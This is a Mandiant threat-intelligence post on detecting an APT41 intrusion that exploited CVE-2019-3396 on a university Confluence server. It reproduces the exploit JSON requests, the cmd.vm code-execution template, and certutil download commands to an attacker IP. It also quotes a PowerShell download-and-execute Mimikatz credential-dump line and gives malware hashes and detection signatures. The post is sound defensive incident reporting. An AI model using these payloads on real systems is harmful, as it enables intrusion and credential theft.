GAME OVER: Detecting and Stopping an APT41 Operation | Mandiant

By Mandiant

Published: 2019-08-19 · Archived: 2026-04-05 17:21:08 UTC

Written by: Alex Pennino, Matt Bromiley

In August 2019, FireEye released the “Double Dragon” report on our newest graduated threat group, APT41. A China-nexus dual espionage and financially-focused group, APT41 targets industries such as gaming, healthcare, high-tech, higher education, telecommunications, and travel services. APT41 is known to adapt quickly to changes and detections within victim environments, often recompiling malware within hours of incident responder activity. In multiple situations, we also identified APT41 utilizing recently-disclosed vulnerabilities, often weaponzing and exploiting within a matter of days.

Our knowledge of this group’s targets and activities are rooted in our Incident Response and Managed Defense services, where we encounter actors like APT41 on a regular basis. At each encounter, FireEye works to reverse malware, collect intelligence and hone our detection capabilities. This ultimately feeds back into our Managed Defense and Incident Response teams detecting and stopping threat actors earlier in their campaigns.

In this blog post, we’re going to examine a recent instance where FireEye Managed Defense came toe-to-toe with APT41. Our goal is to display not only how dynamic this group can be, but also how the various teams within FireEye worked to thwart attacks within hours of detection – protecting our clients’ networks and limiting the threat actor’s ability to gain a foothold and/or prevent data exposure.

GET TO DA CHOPPA!

In April 2019, FireEye’s Managed Defense team identified suspicious activity on a publicly-accessible web server at a U.S.-based research university. This activity, a snippet of which is provided in Figure 1, indicated that the attackers were exploiting CVE-2019-3396, a vulnerability in Atlassian Confluence Server that allowed for path traversal and remote code execution.

```
POST /rest/tinymce/1/macro/preview HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101
Firefox/60.0
Content-Type: application/json; charset=utf-8
Accept-Encoding: gzip, deflate
Referer:

Accept: */*
Content-Length: 261
Connection: close

{"contentId":"786457","macro":{"name":"widget","body":"","params":
{"url":"https://www.viddler.com/v/
23464dc5","width":"1000","height":"1000","_template":"https://
raw.githubusercontent.com/Yt1g3r/CVE-2019-3396_EXP/master/
cmd.vm","cmd":"forfiles /p confluence"}}}
```

Figure 1: Snippet of PCAP showing attacker attempting CVE-2019-3396 vulnerability

This vulnerability relies on the following actions by the attacker:

- Customizing the _template field to utilize a template that allowed for command execution.
- Inserting a cmd field that provided the command to be executed.

Through custom JSON POST requests, the attackers were able to run commands and force the vulnerable system to download an additional file. Figure 2 provides a list of the JSON data sent by the attacker.

```
{"contentId":"786457","macro":{"name":"widget","body":"","params":{"url":"https:/
/www.viddler[.]com/v/23464dc5","width":"1000","height":"1000","_template":"file:/
//c:/windows/win.ini"}}}

{"contentId":"786457","macro":{"name":"widget","body":"","params":{"url":"https:/
/www.viddler[.]com/v/23464dc5","width":"1000","height":"1000","_template":"https:
//raw.githubusercontent[.]com/Yt1g3r/CVE-2019-
3396_EXP/master/cmd.vm","cmd":"whoami"}}}

{"contentId":"786457","macro":{"name":"widget","body":"","params":{"url":"https:/
/www.viddler[.]com/v/23464dc5","width":"1000","height":"1000","_template":"https:
//raw.githubusercontent.com/Yt1g3r/CVE-2019-
3396_EXP/master/cmd.vm","cmd":"forfiles /p confluence"}}}

{"contentId":"786457","macro":{"name":"widget","body":"","params":{"url":"https:/
/www.viddler[.]com/v/23464dc5","width":"1000","height":"1000","_template":"https:
//raw.githubusercontent[.]com/Yt1g3r/CVE-2019-
3396_EXP/master/cmd.vm","cmd":"quser"}}}

{"contentId":"786457","macro":{"name":"widget","body":"","params":{"url":"https:/
/www.viddler[.]com/v/23464dc5","width":"1000","height":"1000","_template":"https:
//raw.githubusercontent[.]com/Yt1g3r/CVE-2019-
3396_EXP/master/cmd.vm","cmd":"certutil -urlcache -split -f
http://67.229.97[.]229/pass_sqzr.jsp test.jsp"}}}

{"contentId":"786457","macro":{"name":"widget","body":"","params":{"url":"https:/
/www.viddler[.]com/v/23464dc5","width":"1000","height":"1000","_template":"https:
//raw.githubusercontent[.]com/Yt1g3r/CVE-2019-
3396_EXP/master/cmd.vm","cmd":"forfiles"}}}

{"contentId":"786457","macro":{"name":"widget","body":"","params":{"url":"https:/
/www.viddler[.]com/v/23464dc5","width":"1000","height":"1000","_template":"https:
//raw.githubusercontent[.]com/Yt1g3r/CVE-2019-3396_EXP/master/cmd.vm","cmd":"type
test.jsp"}}}
```

Figure 2: Snippet of HTTP POST requests exploiting CVE-2019-3396

As shown in Figure 2, the attacker utilized a template located at hxxps[:]//github[.]com/Yt1g3r/CVE-2019-3396_EXP/blob/master/cmd.vm. This publicly-available template provided a vehicle for the attacker to issue arbitrary commands against the vulnerable system. Figure 3 provides the code of the file cmd.vm.

```
#set ($e="exp")
#set
($a=$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invok
e(null,null).exec($cmd))
#set
($input=$e.getClass().forName("java.lang.Process").getMethod("getInputStream").in
voke($a))
#set($sc = $e.getClass().forName("java.util.Scanner"))
#set($constructor =
$sc.getDeclaredConstructor($e.getClass().forName("java.io.InputStream")))
#set($scan=$constructor.newInstance($input).useDelimiter("\\A"))
#if($scan.hasNext())
    $scan.next()
#end
```

Figure 3: Code of cmd.vm, used by the attackers to execute code on a vulnerable Confluence system

The HTTP POST requests in Figure 2, which originated from the IP address 67.229.97[.]229, performed system reconnaissance and utilized Windows certutil.exe to download a file located at hxxp[:]//67.229.97[.]229/pass_sqzr.jsp and save it as test.jsp (MD5: 84d6e4ba1f4268e50810dacc7bbc3935). The file test.jsp was ultimately identified to be a variant of a **China Chopper** webshell.

A Passive Aggressive Operation

Shortly after placing test.jsp on the vulnerable system, the attackers downloaded two additional files onto the system:

- 64.dat (MD5: 51e06382a88eb09639e1bc3565b444a6)
- Ins64.exe (MD5: e42555b218248d1a2ba92c1532ef6786)

Both files were hosted at the same IP address utilized by the attacker, 67[.]229[.]97[.]229. The file Ins64.exe was used to deploy the HIGHNOON backdoor on the system. HIGHNOON is a backdoor that consists of multiple components, including a loader, dynamic-link library (DLL), and a rootkit. When loaded, the DLL may deploy one of two embedded drivers to conceal network traffic and communicate with its command and control server to download and launch memory-resident DLL plugins. This particular variant of HIGHNOON is tracked as HIGHNOON.PASSIVE by FireEye. (An exploration of passive backdoors and more analysis of the HIGHNOON malware family can be found in our full APT41 report).

Within the next 35 minutes, the attackers utilized both the test.jsp web shell and the HIGHNOON backdoor to issue commands to the system. As China Chopper relies on HTTP requests, attacker traffic to and from this web shell was easily observed via network monitoring. The attacker utilized China Chopper to perform the following:

- Movement of 64.dat and Ins64.exe to C:\Program Files\Atlassian\Confluence
- Performing a directory listing of C:\Program Files\Atlassian\Confluence
- Performing a directory listing of C:\Users

Additionally, FireEye's FLARE team reverse engineered the custom protocol utilized by the HIGHNOON backdoor, allowing us to decode the attacker's traffic. Figure 4 provides a list of the various commands issued by the attacker utilizing HIGHNOON.

```
quser (Successful)

powershell "IEX (New-Object
Net.WebClient).DownloadString('https://raw.githubusercontent[.]com/roguelikeset/PowerSploit/ma
ster/final.ps1'); getstuff -Command '"privilege::debug sekurlsa::logonpasswords exit exit"' |
(Failed)

tasklist (Successful)

taskkill /f /im powershell.exe (Successful)

ndtest /trusted_domain (Failed)

nltst /trusted_domain (Failed)

nltest /trusted_domain (Failed)

nltest /trusted_domains (Successful)

nltest /trusts_domains (Failed)

nltest /domain_trusts (Successful)

ping -n 1 <REDACTED> (Successful)

ping -n 1 <REDACTED> (Successful)

ping -n 1 <REDACTED> (Successful)

tasklist (Successful)

cd c:\users (Successful)

certutil -urlcache -split -f http://67.229.97[.]229/c64.exe c64.exe (Successful)

certutil -urlcache -split -f http://67.229.97[.]229/F64.data F64.data (Successful)

c64.exe f64.data "9839D7F1A0 -m" (Successful)

del c64.exe (Successful)

del f64.data (Successful)

net group domain_admins /domain (Failed)

net group "domain_admins" /domain (Failed)
```

Figure 4: Decoded HIGHNOON commands issued by the attacker

Playing Their ACEHASH Card

As shown in Figure 4, the attacker utilized the HIGHNOON backdoor to execute a PowerShell command that downloaded a script from PowerSploit, a well-known PowerShell Post-Exploitation Framework. At the time of this blog post, the script was no longer available for downloading. The commands provided to the script – "privilege::debug sekurlsa::logonpasswords exit exit" – indicate that the unrecovered script was likely a copy of Invoke-Mimikatz, reflectively loading Mimikatz 2.0 in-memory. Per the observed HIGHNOON output, this command failed.

After performing some additional reconnaissance, the attacker utilized HIGHNOON to download two additional files into the C:\Program Files\Atlassian\Confluence directory:

- c64.exe (MD5: 846cdb921841ac671c86350d494abf9c)
- F64.data (MD5: a919b4454679ef60b39c82bd686ed141)

These two files are the dropper and encrypted/compressed payload components, respectively, of a malware family known as ACEHASH. ACEHASH is a credential theft and password dumping utility that combines the functionality of multiple tools such as Mimikatz, hashdump, and Windows Credential Editor (WCE).

Upon placing c64.exe and F64.data on the system, the attacker ran the command

c64.exe f64.data "9839D7F1A0 -m”

This specific command provided a password of “9839D7F1A0” to decrypt the contents of F64.data, and a switch of “-m”, indicating the attacker wanted to replicate the functionality of Mimikatz. With the correct password provided, c64.exe loaded the decrypted and decompressed shellcode into memory and harvested credentials.

Ultimately, the attacker was able to exploit a vulnerability, execute code, and download custom malware on the vulnerable Confluence system. While Mimikatz failed, via ACEHASH they were able to harvest a single credential from the system. However, as Managed Defense detected this activity rapidly via network signatures, this operation was neutralized before the attackers progressed any further.

Key Takeaways From This Incident

- APT41 utilized multiple malware families to maintain access into this environment; impactful remediation requires full scoping of an incident.
- For effective Managed Detection & Response services, having coverage of both Endpoint and Network is critical for detecting and responding to targeted attacks.
- Attackers may weaponize vulnerabilities quickly after their release, especially if they are present within a targeted environment. Patching of critical vulnerabilities ASAP is crucial to deter active attackers.

Detecting the Techniques

FireEye detects this activity across our platform, including detection for certutil usage, HIGHNOON, and China Chopper.

Detection	**Signature Name**
China Chopper	FE_Webshell_JSP_CHOPPER_1
	FE_Webshell_Java_CHOPPER_1
	FE_Webshell_MSIL_CHOPPER_1
HIGHNOON.PASSIVE	FE_APT_Backdoor_Raw64_HIGHNOON_2

	FE_APT_Backdoor_Win64_HIGHNOON_2
Certutil Downloader	CERTUTIL.EXE DOWNLOADER (UTILITY)
	CERTUTIL.EXE DOWNLOADER A (UTILITY)
ACEHASH	FE_Trojan_AceHash

Indicators

Type	Indicator	MD5 Hash (if applicable)
File	test.jsp	84d6e4ba1f4268e50810dacc7bbc3935
File	64.dat	51e06382a88eb09639e1bc3565b444a6
File	Ins64.exe	e42555b218248d1a2ba92c1532ef6786
File	c64.exe	846cdb921841ac671c86350d494abf9c
File	F64.data	a919b4454679ef60b39c82bd686ed141
IP Address	67.229.97[.]229	N/A

Looking for more? Join us for a webcast on August 29, 2019 where we detail more of APT41's activities. Here's a direct link to the public APT41 report.

Acknowledgements

Special thanks to Dan Perez, Andrew Thompson, Tyler Dean, Raymond Leong, and Willi Ballenthin for identification and reversing of the HIGHNOON.PASSIVE malware.

Posted in

- Threat Intelligence
- Security & Identity
